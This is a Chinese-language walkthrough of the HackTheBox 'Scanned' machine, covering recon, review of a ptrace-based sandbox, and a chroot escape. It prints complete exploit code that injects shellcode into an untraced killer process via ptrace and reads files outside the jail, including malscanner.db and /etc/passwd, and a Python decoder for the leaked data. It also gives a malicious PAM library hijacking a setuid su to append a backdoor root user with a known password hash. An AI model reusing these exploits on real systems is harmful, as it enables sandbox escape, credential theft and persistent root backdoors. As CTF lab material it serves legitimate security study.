maptnh
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

Information Gathering
IP Address | Opening Ports |
---|---|
10.10.11.141 | TCP:22,80 |
$ ip='10.10.11.141'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 6a7b146897014a086ae137b1d2bd8f3f (RSA)
| 256 f6b4e110f07b38486634c2c628ffb825 (ECDSA)
|_ 256 c98b961951e7ce1f7d3e44e9a4049109 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Malware Scanner
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
MalScanner Sandbox Escape
# echo "10.10.11.141 scanned.htb">>/etc/hosts
http://scanned.htb/static/source.tar.gz
sandbox.c
$ cat sandbox/sandbox.c
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <time.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/capability.h>
struct user_cap_header_struct {
int version;
pid_t pid;
};
struct user_cap_data_struct {
unsigned int effective;
unsigned int permitted;
unsigned int inheritable;
};
int copy(const char* src, const char* dst);
void do_trace();
int jailsfd = -1;
#define DIE(err) fprintf(stderr, err ": (%d)\n", errno); exit(-1)
// Take a 16 byte buffer and generate a pseudo-random UUID
void generate_uuid(char* buf) {
srand(time(0));
for (int i = 0; i < 32; i+=2) {
sprintf(&buf[i], "%02hhx", (char)(rand() % 255));
}
}
// Check we have all required capabilities
void check_caps() {
struct user_cap_header_struct header;
struct user_cap_data_struct caps;
char pad[32];
header.version = _LINUX_CAPABILITY_VERSION_3;
header.pid = 0;
caps.effective = caps.inheritable = caps.permitted = 0;
syscall(SYS_capget, &header, &caps);
if (!(caps.effective & 0x2401c0)) {
DIE("Insufficient capabilities");
}
}
void copy_libs() {
char* libs[] = {"libc.so.6", NULL};
char path[FILENAME_MAX] = {0};
char outpath[FILENAME_MAX] = {0};
system("mkdir -p bin usr/lib/x86_64-linux-gnu usr/lib64; cp /bin/sh bin");
for (int i = 0; libs[i] != NULL; i++) {
sprintf(path, "/lib/x86_64-linux-gnu/%s", libs[i]);
// sprintf(path, "/lib/%s", libs[i]);
sprintf(outpath, "./usr/lib/%s", libs[i]);
copy(path, outpath);
}
copy("/lib64/ld-linux-x86-64.so.2", "./usr/lib64/ld-linux-x86-64.so.2");
system("ln -s usr/lib64 lib64; ln -s usr/lib lib; chmod 755 -R usr bin");
}
// Create PID and network namespace
void do_namespaces() {
if (unshare(CLONE_NEWPID|CLONE_NEWNET) != 0) {DIE("Couldn't make namespaces");};
// Create pid-1
if (fork() != 0) {sleep(6); exit(-1);}
mkdir("./proc", 0555);
mount("/proc", "./proc", "proc", 0, NULL);
}
// Create our jail folder and move into it
void make_jail(char* name, char* program) {
jailsfd = open("jails", O_RDONLY|__O_DIRECTORY);
if (faccessat(jailsfd, name, F_OK, 0) == 0) {
DIE("Jail name exists");
}
int result = mkdirat(jailsfd, name, 0771);
if (result == -1 && errno != EEXIST) {
DIE( "Could not create the jail");
}
if (access(program, F_OK) != 0) {
DIE("Program does not exist");
}
chdir("jails");
chdir(name);
copy_libs();
do_namespaces();
copy(program, "./userprog");
if (chroot(".")) {DIE("Couldn't chroot #1");}
if (setgid(1001)) {DIE("SGID");}
if (setegid(1001)) {DIE("SEGID");}
if (setuid(1001)) {DIE("SUID");};
if (seteuid(1001)) {DIE("SEUID");};
do_trace();
sleep(3);
}
int main(int argc, char** argv) {
if (argc < 2) {
printf("Usage: %s <program> [uuid]\n", argv[0]);
exit(-2);
}
if (strlen(argv[1]) > FILENAME_MAX - 50) {
DIE("Program name too long");
}
if ((argv[1][0]) != '/') {
DIE("Program path must be absolute");
}
umask(0);
check_caps();
int result = mkdir("jails", 0771);
if (result == -1 && errno != EEXIST) {
DIE( "Could not create jail directory");
}
char uuid[33] = {0};
if (argc < 3) {
generate_uuid(uuid);
} else {
memcpy(uuid, argv[2], 32);
}
uuid[32] = 0;
make_jail(uuid, argv[1]);
}
检查进程权限:
check_caps()
通过capget
检查进程是否具有必要的 Linux capabilities(如CAP_SYS_ADMIN
等)。
创建
jail
目录:make_jail()
负责创建隔离环境,并将指定的程序复制进去运行。
创建
chroot
监狱:使用
chroot(".")
限制进程只能访问jail
目录内部的文件系统。
使用 Linux 命名空间隔离进程:
do_namespaces()
通过unshare(CLONE_NEWPID | CLONE_NEWNET)
创建新的 PID和 网络命名空间,避免影响宿主系统。
用户身份降权:
setgid(1001)
/setuid(1001)
降低进程权限,防止 Jail 内部的程序提权攻击。
复制必要的库文件:
copy_libs()
复制libc.so.6
和ld-linux-x86-64.so.2
,确保 Jail 内部程序能够正常运行。
执行目标程序:
copy(program, "./userprog")
将用户提供的二进制程序复制到 Jail 里,并启动它。
training.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/ptrace.h>
#include <sys/reg.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/user.h>
#include <sys/prctl.h>
#include <sys/signal.h>
#include <sys/syscall.h>
#include <linux/capability.h>
#define DIE(err) fprintf(stderr, err ": (%d)\n", errno); exit(-1)
extern int jailsfd;
void do_child();
void do_killer(int pid);
void do_log(int pid);
void log_syscall(struct user_regs_struct regs, unsigned long ret);
struct user_cap_header_struct {
int version;
pid_t pid;
};
struct user_cap_data_struct {
unsigned int effective;
unsigned int permitted;
unsigned int inheritable;
};
void do_trace() {
// We started with capabilities - we must reset the dumpable flag
// so that the child can be traced
prctl(PR_SET_DUMPABLE, 1, 0, 0, 0, 0);
// Remove dangerous capabilities before the child starts
struct user_cap_header_struct header;
struct user_cap_data_struct caps;
char pad[32];
header.version = _LINUX_CAPABILITY_VERSION_3;
header.pid = 0;
caps.effective = caps.inheritable = caps.permitted = 0;
syscall(SYS_capget, &header, &caps);
caps.effective = 0;
caps.permitted = 0;
syscall(SYS_capset, &header, &caps);
int child = fork();
if (child == -1) {
DIE("Couldn't fork");
}
if (child == 0) {
do_child();
}
int killer = fork();
if (killer == -1) {
DIE("Couldn't fork (2)");
}
if (killer == 0) {
do_killer(child);
} else {
do_log(child);
}
}
void do_child() {
// Prevent child process from escaping chroot
close(jailsfd);
prctl(PR_SET_PDEATHSIG, SIGHUP);
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
char* args[] = {NULL};
execve("/userprog", args, NULL);
DIE("Couldn't execute user program");
}
void do_killer(int pid) {
sleep(5);
if (kill(pid, SIGKILL) == -1) {DIE("Kill err");}
puts("Killed subprocess");
exit(0);
}
void do_log(int pid) {
int status;
waitpid(pid, &status, 0);
struct user_regs_struct regs;
struct user_regs_struct regs2;
while (1) {
// Enter syscall
ptrace(PTRACE_SYSCALL, pid, 0, 0);
waitpid(pid, &status, 0);
if (WIFEXITED(status) || WIFSIGNALED(status)) {
puts("Exited");
return;
}
ptrace(PTRACE_GETREGS, pid, 0, ®s);
// Continue syscall
ptrace(PTRACE_SYSCALL, pid, 0, 0);
waitpid(pid, &status, 0);
ptrace(PTRACE_GETREGS, pid, 0, ®s2);
log_syscall(regs, regs2.rax);
}
}
typedef struct __attribute__((__packed__)) {
unsigned long rax;
unsigned long rdi;
unsigned long rsi;
unsigned long rdx;
unsigned long r10;
unsigned long r8;
unsigned long r9;
unsigned long ret;
} registers;
void log_syscall(struct user_regs_struct regs, unsigned long ret) {
registers result;
result.rax = regs.orig_rax;
result.rdi = regs.rdi;
result.rsi = regs.rsi;
result.rdx = regs.rdx;
result.r10 = regs.r10;
result.r8 = regs.r8;
result.r9 = regs.r9;
result.ret = ret;
int fd = open("/log", O_CREAT|O_RDWR|O_APPEND, 0777);
if (fd == -1) {
return;
}
write(fd, &result, sizeof(registers));
close(fd);
}
该程序主要有 四个核心部分:
do_trace()
- 负责设置ptrace
监控机制,并启动:受控的子进程(
do_child()
)杀死超时进程的监控器(
do_killer()
)记录
syscall
的日志记录器(do_log()
)
do_child()
- 在jail
里执行userprog
,并允许ptrace
监控。do_killer()
- 运行 5 秒后,杀死userprog
进程,防止其长期运行。do_log()
- 使用ptrace
监视userprog
,并记录所有syscall
(系统调用)。
利用:
1.prctl(PR_SET_DUMPABLE, 1, 0, 0, 0, 0);将进程的 dumpable 标志设置为 1,意味着该进程可以被 ptrace 追踪或通过 core dump 进行调试。
在fork前调用prctl这将导致三个分叉的进程(子进程、杀手进程、记录器进程)都是可跟踪的。
void do_trace() {
prctl(PR_SET_DUMPABLE, 1, 0, 0, 0, 0);
//<SNIP>
int child = fork();
if (child == -1) {
DIE("Couldn't fork");
}
if (child == 0) {
do_child();
}
int killer = fork();
if (killer == -1) {
DIE("Couldn't fork (2)");
}
if (killer == 0) {
do_killer(child);
} else {
do_log(child);
}
}
2.文件描述符关闭失败
void do_child() {
// Prevent child process from escaping chroot
close(jailsfd);
prctl(PR_SET_PDEATHSIG, SIGHUP);
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
char* args[] = {NULL};
execve("/userprog", args, NULL);
DIE("Couldn't execute user program");
}
在sandbox.c中,创建的jailsfd标识符,由于prctl在三个函数fork之前,所以do_child仅仅关闭了当前的子进程jailsfd标识符,其他的进程标识符没有关闭jailsfd标识符,就可以利用他们访问外部资源。
void make_jail(char* name, char* program) {
jailsfd = open("jails", O_RDONLY|__O_DIRECTORY);
//<SNIP>
}
void do_namespaces() {
if (unshare(CLONE_NEWPID|CLONE_NEWNET) != 0) {DIE("Couldn't make namespaces");};
// Create pid-1
if (fork() != 0) {sleep(6); exit(-1);}
mkdir("./proc", 0555);
mount("/proc", "./proc", "proc", 0, NULL);
}
unshare(CLONE_NEWPID) 创建了新的 PID 命名空间。
这个新命名空间的第一个进程永远是 PID 1,它相当于新的 "init" 进程。
PID 1 是 do_log(),因为 do_trace() 进程 fork 出来的第一个子进程会变成 新命名空间的 "init" 进程。
PID 2 是 userprog,即 do_child() 执行 execve("/userprog", ...) 后的进程。
PID 3 是 do_killer(),负责 5 秒后终止 userprog。
Chroot Escape
Local Verify
$ gcc sandbox.c copy.c tracing.c -o sandbox
暂停sandbox进程命令(pause.sh):
$ kill -STOP $(ps aux | grep './sandbox' | grep -v grep | awk '{print $2}')
继续sandbox进程命令(continue.sh):
$ kill -CONT $(ps aux | grep './sandbox' | grep -v grep | awk '{print $2}')
用来验证do_child是否仅仅关闭了当前的子进程jailsfd标识符,其他的进程标识符没有关闭jailsfd标识符
//exp.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Hello, World!\n");
return 0;
}
切换目录malscanner/sandbox
$ TMPFILE=$RANDOM; ./sandbox /home/map/Desktop/htb/malscanner/sandbox/exp "$TMPFILE" & sleep 1; ./pause.sh; TARGET_DIR="jails/$TMPFILE/proc/"; [ -d "$TARGET_DIR" ] && for pid in $(ls -1 "$TARGET_DIR" | grep -E '^[0-9]+$'); do echo "Current Directory: $TARGET_DIR$pid"; ls -la "$TARGET_DIR$pid/fd"; done || echo "Directory $TARGET_DIR does not exist."
仅有进程1,3,证明do_child进程结束而jailsfd标识符依然保留。
EXP
通过提示,需要读取./var/www/malscanner/malscanner.db
┌──────────────┐
│ main() │
└──────┬───────┘
│
┌──────────────────┴──────────────────┐
│ │
No Arguments With Arguments
│ │
┌───────▼───────┐ ┌─────▼─────┐
│ do_stage_1() │ │ do_stage_2() │
└───────┬───────┘ └─────┬─────┘
│ │
▼ ▼
┌────────────────┐ ┌─────────────────────┐
│ Attach Process │ │ Change Directory │
│ (ptrace) │ │ Open malscanner.db │
└──────┬─────────┘ │ Read Data │
│ └──────┬─────────────┘
▼ ▼
┌──────────────────────────┐ ┌─────────────────────┐
│ Get Registers (RIP) │ │ Call log_data() │
└──────────┬───────────────┘ └──────────┬──────────┘
▼ ▼
┌──────────────────────────┐ ┌─────────────────────┐
│ Inject Code (putdata) │ │ Write Data to Log │
└──────────┬───────────────┘ └──────────┬──────────┘
▼ ▼
┌──────────────────────────┐ ┌─────────────────────┐
│ Detach from Process │ │ End Execution │
└──────────────────────────┘ └─────────────────────┘
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/syscall.h>
void do_stage_1();
void do_stage_2();
void log_data(char *data, unsigned long size);
void inject();
void guard();
void putdata(pid_t child, unsigned long long addr, char *str, int len);
void putdata(pid_t child, unsigned long long addr, char *str, int len) {
char *laddr;
int i, j;
union u {
long val;
char chars[sizeof(long)];
} data;
i = 0;
j = len / sizeof(long);
laddr = str;
while (i < j) {
memcpy(data.chars, laddr, sizeof(long));
if (ptrace(PTRACE_POKEDATA, child, (void *)addr + i * sizeof(long), data.val) != 0) {
printf("Error poking - %d\n", errno);
return;
}
++i;
laddr += sizeof(long);
}
j = len % sizeof(long);
if (j != 0) {
memcpy(data.chars, laddr, j);
ptrace(PTRACE_POKEDATA, child, (void *)addr + i * sizeof(long), data.val);
}
}
void do_stage_1() {
const int pid = 3;
printf("Child is %d\n", getpid());
if (ptrace(PTRACE_ATTACH, pid, 0, 0) != 0) {
perror("Attaching");
return;
}
wait(NULL);
printf("[*] Attached\n");
struct user_regs_struct regs;
if (ptrace(PTRACE_GETREGS, pid, NULL, ®s) != 0) {
perror("Get regs");
return;
}
printf("[*] Got regs\n");
putdata(pid, regs.rip, (char *)inject, (int)((unsigned long)&guard - (unsigned long)&inject));
printf("[*] Wrote data\n");
if (ptrace(PTRACE_DETACH, pid, 0, 0) != 0) {
perror("Detach");
return;
}
puts("[*] Detached!");
sleep(5);
}
void do_stage_2() {
puts("Stage 2 - currently running in killer");
const int fd = 3;
int cwd = open(".", O_RDONLY | O_DIRECTORY);
if (cwd < 0) {
perror("Open current directory");
return;
}
if (fchdir(fd) != 0) {
printf("fchdir() = %d\n", errno);
return;
}
if (chdir("../../../../../../../../../../") != 0) {
printf("chdir() = %d\n", errno);
return;
}
int file_fd = open("./var/www/malscanner/malscanner.db", O_RDONLY);
if (file_fd < 0) {
perror("Open malscanner.db");
return;
}
char *buf = calloc(1, 200000);
if (!buf) {
perror("Memory allocation");
close(file_fd);
return;
}
unsigned long size = read(file_fd, buf, 200000);
close(file_fd);
fchdir(cwd);
log_data(buf, size);
free(buf);
}
void inject() {
char program[] = "/userprog";
char *arg[3] = {program, "2", 0};
asm("movq $59, %%rax; movq %0, %%rdi; movq %1, %%rsi; xor %%rdx, %%rdx; syscall;"
:
: "r"(program), "r"(arg)
: "rax", "rdi", "rsi", "rdx");
}
void guard() {}
int main(int argc, char **argv) {
if (argc < 2) {
do_stage_1();
} else {
do_stage_2();
}
}
void log_data(char *data, unsigned long size) {
int fd = open("log", O_WRONLY | O_APPEND, 0777);
if (fd < 0) {
perror("Open log");
return;
}
lseek(fd, 0, SEEK_END);
int offset = 0;
char buf[8 * 8] = {0};
while (offset < size) {
((unsigned long *)buf)[0] = 0x1337;
memcpy(&buf[7 * 8], &data[offset], 8);
write(fd, buf, sizeof(buf));
offset += 8;
}
close(fd);
}
1.无参数运行
2.ptrace(PTRACE_ATTACH, pid, 0, 0) 附加到 pid=3 的进程(do_killer()),暂停目标进程的执行。
3.wait(NULL); 等待目标进程的状态变化,确保它真正被暂停。
4.ptrace(PTRACE_GETREGS, pid, NULL, ®s); 获取目标进程的寄存器状态
5.putdata() 向 regs.rip(即目标进程的指令地址)注入代码.(启动自身程序,携带参数2)让目标进程下一次执行时直接跳转到 inject()。
6.ptrace(PTRACE_DETACH, pid, 0, 0) 解除 ptrace 附加,让目标进程继续运行。
7.带参数执行...do_stage_2()执行,实际上是 do_killer 进程的权限。。。
8.拥有一定权限...chroot逃逸chdir("../../../../../../../../../../")
9.打开目标文件 ./var/www/malscanner/malscanner.db 进行读取。
10.分配内存 存储 malscanner.db 的数据。
11.调用 log_data() 记录数据到日志文件。(读取 malscanner.db,然后每 8 字节记录一次,并在前 8 字节加上 0x1337 用于标记)
这里需要注意的是:
1.受限环境会受到网络隔离限制
2.如果当前进程本身就在受 chroot 保护的环境中,那么它无法直接 chroot 逃逸。
3.但如果能控制一个未受 chroot 限制的进程(比如 PID 3),就能利用它来逃逸。
4.由于prctl(PR_SET_DUMPABLE, 1)在fork前调用,三个子进程均继承了 dumpable=1,那么do_stage_1() 运行时如果 do_killer() 还是活动的(即 PID 3),do_stage_1它就可以附加上去(一个进程调试另一个进程)
5.do_killer 进程没有 chroot(".") 这一步,它仍然在原始的 宿主机 root 目录 运行
简单理解:
想象你是个囚犯,被关进了一座高科技监狱(chroot
环境)。这座监狱有一条特别的规则:
"任何进入这座监狱的人,都会自动被蒙上眼睛(
chroot
限制),看不到监狱外的世界。"
第一步:你被关进了监狱
你(
chroot
进程)最开始是自由的,但当你走进监狱(chroot(".")
)时,系统自动给你戴上了头套(chroot
限制),你只能看到监狱里面的东西。监狱外面的世界对你来说是完全不可见的,你想逃出去,但你自己的手脚被束缚,做不到。
第二步:发现自由的守卫
你注意到监狱里有一个守卫(
do_killer
,PID 3),但这个守卫是自由的!守卫并没有被蒙上眼睛,因为他一开始是站在监狱外面的(
do_killer
进程是在chroot
之外创建的)。守卫的工作是定期检查你的情况,并在必要时“处决”你(
kill(pid, SIGKILL)
)。
第三步:偷偷劫持守卫
你知道自己无法直接逃跑,但你可以偷偷控制守卫!
你用
ptrace
技术相当于“黑入”了守卫的大脑,让他按照你的计划行动:你让守卫暂停下来(
PTRACE_ATTACH
)。你读取了守卫的大脑数据(
PTRACE_GETREGS
)。你偷偷给守卫植入新的记忆(
putdata()
注入代码)。你让守卫继续执行(
PTRACE_DETACH
)。关键是,你让守卫在下一步执行你的命令,而不是他的原始任务!
第四步:守卫无意中带你出狱
你劫持的守卫,现在在执行你的代码,但守卫自己并没有意识到他被操控了。
于是,你让守卫“假装”重新带你走一遍进入监狱的流程,但守卫自己并没有戴头套(
chroot
)!由于你是通过守卫的身份重新进入的,你也就不会再被强制戴上头套了!
你现在处于监狱的物理位置,但你的眼睛没有被蒙住,你可以看见监狱外的一切(即突破
chroot
)。
第五步:自由行动
现在,你站在监狱里,但你的眼睛是睁开的!
你可以打开监狱外的文件(
malscanner.db
)。你可以自由访问系统资源,就像你从未被关押过一样。
关键漏洞:
监狱规则是:“所有进入的人都会被蒙上眼睛。”
但你不是自己走进监狱的,你是通过劫持守卫进入的!
守卫本来不受规则限制,你劫持他后,他按照你的方式“带”你进去,于是你就绕过了
chroot
限制!
$ musl-gcc -static exp.c -o exp
# exp.py
import requests
import sys
import re
import struct
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <url>")
sys.exit(-1)
url = sys.argv[1]
response = requests.get(url)
pattern = r"sys_4919\(\) = 0x([a-f0-9]+)"
calls = re.findall(pattern, response.text, re.MULTILINE)
exfil = b"".join(struct.pack("Q", int(val, 16)) for val in calls)
try:
print(exfil.decode())
except UnicodeDecodeError:
print("[!] Warning: Data contains non-printable characters, saving to file.")
with open("exfil.bin", "wb") as f:
f.write(exfil)
print("Saved to exfil.bin. Use 'strings exfil.bin' to inspect.")
http://scanned.htb/viewer/0d80feb0e8fc7244415bbc54bbff163f/
$ python3 exp.py http://scanned.htb/viewer/0d80feb0e8fc7244415bbc54bbff163f/
password:onedayyoufeellikecrying
获取用户名
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/syscall.h>
void do_stage_1();
void do_stage_2();
void log_data(char *data, unsigned long size);
void inject();
void guard();
void putdata(pid_t child, unsigned long long addr, char *str, int len);
void putdata(pid_t child, unsigned long long addr, char *str, int len) {
char *laddr;
int i, j;
union u {
long val;
char chars[sizeof(long)];
} data;
i = 0;
j = len / sizeof(long);
laddr = str;
while (i < j) {
memcpy(data.chars, laddr, sizeof(long));
if (ptrace(PTRACE_POKEDATA, child, (void *)addr + i * sizeof(long), data.val) != 0) {
printf("Error poking - %d\n", errno);
return;
}
++i;
laddr += sizeof(long);
}
j = len % sizeof(long);
if (j != 0) {
memcpy(data.chars, laddr, j);
ptrace(PTRACE_POKEDATA, child, (void *)addr + i * sizeof(long), data.val);
}
}
void do_stage_1() {
const int pid = 3;
printf("Child is %d\n", getpid());
if (ptrace(PTRACE_ATTACH, pid, 0, 0) != 0) {
perror("Attaching");
return;
}
wait(NULL);
printf("[*] Attached\n");
struct user_regs_struct regs;
if (ptrace(PTRACE_GETREGS, pid, NULL, ®s) != 0) {
perror("Get regs");
return;
}
printf("[*] Got regs\n");
putdata(pid, regs.rip, (char *)inject, (int)((unsigned long)&guard - (unsigned long)&inject));
printf("[*] Wrote data\n");
if (ptrace(PTRACE_DETACH, pid, 0, 0) != 0) {
perror("Detach");
return;
}
puts("[*] Detached!");
sleep(5);
}
void do_stage_2() {
puts("Stage 2 - currently running in killer");
const int fd = 3;
int cwd = open(".", O_RDONLY | O_DIRECTORY);
if (cwd < 0) {
perror("Open current directory");
return;
}
if (fchdir(fd) != 0) {
printf("fchdir() = %d\n", errno);
return;
}
if (chdir("../../../../../../../../../../") != 0) {
printf("chdir() = %d\n", errno);
return;
}
int file_fd = open("./etc/passwd", O_RDONLY);
if (file_fd < 0) {
perror("Open malscanner.db");
return;
}
char *buf = calloc(1, 200000);
if (!buf) {
perror("Memory allocation");
close(file_fd);
return;
}
unsigned long size = read(file_fd, buf, 200000);
close(file_fd);
fchdir(cwd);
log_data(buf, size);
free(buf);
}
void inject() {
char program[] = "/userprog";
char *arg[3] = {program, "2", 0};
asm("movq $59, %%rax; movq %0, %%rdi; movq %1, %%rsi; xor %%rdx, %%rdx; syscall;"
:
: "r"(program), "r"(arg)
: "rax", "rdi", "rsi", "rdx");
}
void guard() {}
int main(int argc, char **argv) {
if (argc < 2) {
do_stage_1();
} else {
do_stage_2();
}
}
void log_data(char *data, unsigned long size) {
int fd = open("log", O_WRONLY | O_APPEND, 0777);
if (fd < 0) {
perror("Open log");
return;
}
lseek(fd, 0, SEEK_END);
int offset = 0;
char buf[8 * 8] = {0};
while (offset < size) {
((unsigned long *)buf)[0] = 0x1337;
memcpy(&buf[7 * 8], &data[offset], 8);
write(fd, buf, sizeof(buf));
offset += 8;
}
close(fd);
}
User.txt
d500559f86f933443e4b8d9c317ae348
Privilege Escalation:chroot escape&& PTRACE && LD_PRELOAD
查找具有SUID位的文件
clarence@scanned:~$ find / -perm -4000 -type f 2>/dev/null
//exp.c
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/prctl.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/syscall.h>
void do_stage_1();
void do_stage_2();
void log_data(char* data, unsigned long size);
void inject();
void guard();
void putdata(pid_t child, unsigned long long addr, char* str, int len) {
char* laddr;
int i, j;
union u {
long val;
char chars[sizeof(int)];
} data;
i = 0;
j = len / sizeof(int);
laddr = str;
while (i < j) {
memcpy(data.chars, laddr, sizeof(int));
if (ptrace(PTRACE_POKEDATA, child, (void*)addr + i * sizeof(int), data.val) != 0) {
printf("Error poking - %d\n", errno);
return;
}
++i;
laddr += sizeof(int);
}
j = len % sizeof(int);
if (j != 0) {
memcpy(data.chars, laddr, j);
ptrace(PTRACE_POKEDATA, child, (void*)addr + i * sizeof(int), data.val);
}
}
void do_stage_1() {
const int pid = 3;
printf("Child is %d\n", getpid());
if (ptrace(PTRACE_ATTACH, pid, 0, 0) != 0) {
perror("Attaching");
return;
}
wait(NULL);
printf("[*] Attached\n");
struct user_regs_struct regs;
if (ptrace(PTRACE_GETREGS, pid, NULL, ®s) != 0) {
perror("Get regs");
return;
}
printf("[*] Got regs\n");
putdata(pid, regs.rip, (char*)inject, (int)(&guard - &inject));
printf("[*] Wrote data\n");
if (ptrace(PTRACE_DETACH, pid, 0, 0) != 0) {
perror("Detach");
return;
}
puts("[*] Detached!");
sleep(5);
}
void do_stage_2() {
puts("Stage 2 - currently running in killer");
const int fd = 3;
int cwd = open(".", O_RDONLY | O_DIRECTORY);
int status;
status = fchdir(fd);
if (status != 0) {
printf("fchdir() = %d\n", errno);
return;
}
status = chdir("../../../../../../../../../../");
if (status != 0) {
printf("chdir() = %d\n", errno);
return;
}
sleep(1);
char* args[] = {"bin/su", NULL};
execve("bin/su", args, NULL);
puts("Failed to su");
}
void inject() {
char program[] = "/userprog";
char* arg[3] = {program, "2", 0};
asm("movq $59, %%rax; movq %0, %%rdi; movq %1, %%rsi; xor %%rdx, %%rdx; syscall;"
:
: "r"(program), "r"(arg)
: "rax", "rdi", "rsi", "rdx");
}
void guard() {}
int main(int argc, char** argv) {
if (argc < 2) {
do_stage_1();
} else {
do_stage_2();
}
}
回到上文,你逃出了监狱,你发现了bin/su具有S位。bin/su 依赖 libpam_misc.so.0(PAM 认证库),并且准备利用 LD_PRELOAD 劫持 libpam_misc.so.0。当 bin/su 加载 libpam_misc.so.0 时,它会执行 exp.so 的 init()添加后门用户造成权限提升。
构造LD劫持的小工具:
https://github.com/eblazquez/fakelib.sh
$ musl-gcc exp.c -fPIC -static -fno-stack-protector -o exp
//expso.c
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <sys/prctl.h>
// `libpam_misc.so.0` is expected to define this symbol
void misc_conv() { return; }
static __attribute__((constructor)) void init(void) {
printf("Hello from constructor, I am %d:%d (%d:%d)\n", getuid(), geteuid(), getgid(), getegid());
// Make ourselves root proper
printf("SEUID %d %d\n", seteuid(0), errno);
printf("SUID %d %d\n", setuid(0), errno);
// Restore the true system root
printf("Chroot %d %d\n", chroot("../../../../../../"), errno);
chdir("/");
// Add a new record to /etc/passwd (password: suidroot)
char *args[] = {
"/bin/sh",
"-p",
"-c",
"echo 'root2:YiY4/N2td230w:0:0:root:/root:/bin/bash' >> /etc/passwd",
NULL
};
execve("/bin/sh", args, NULL);
puts("Execve failed");
}
$ gcc -shared -fPIC -o exp.so expso.c
#!/bin/bash
FOLDER=$(pwgen 10 1)
mkdir "$FOLDER"
cp exp exp.so "$FOLDER"
cd "$FOLDER" || exit
mkdir jails
/var/www/malscanner/sandbox/sandbox $(pwd)/exp fuck &
sleep 0.1
cp /usr/lib/x86_64-linux-gnu/{libutil.so.1,libpam.so.0,libaudit.so.1,libcap-ng.so.0,libdl.so.2,libpthread.so.0} \
jails/fuck/usr/lib/x86_64-linux-gnu/
cp exp.so jails/fuck/usr/lib/x86_64-linux-gnu/libpam_misc.so.0
chmod +x jails/fuck/usr/lib/x86_64-linux-gnu/
clarence@scanned:/tmp$ su root2
suidroot
Root.txt
326e95f57d8b8e68036a7575d6af2dec
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
